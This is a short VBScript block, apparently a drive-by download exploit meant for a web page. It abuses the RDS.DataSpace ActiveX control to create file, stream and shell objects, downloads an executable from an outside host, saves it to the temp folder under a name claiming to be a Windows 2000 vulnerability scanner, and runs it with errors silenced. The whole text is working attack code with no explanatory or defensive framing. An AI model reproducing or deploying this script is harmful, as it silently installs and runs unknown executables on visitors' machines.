<script language="VBScript">     on error resume next     dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>"     set ye=document.createElement("object")     yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"    ye.setAttribute "classid",yStr     Set x = ye.CreateObject("Microsoft.XMLHTTP","")     set S = ye.createobject("ADODB.Stream","")     S.type = 1     x.Open "GET", dl, False     x.Send     fname="win2000漏洞扫描器.exe"     set F = ye.createobject("Scripting.FileSystemObject","")     set tmp = F.GetSpecialFolder(2)     fname= F.BuildPath(tmp,fname)     S.open     S.write x.responseBody     S.savetofile fname,2     S.close     set A=ye.createobject("Shell.Application","")       A.ShellExecute fname,"","",  "open",1     </script>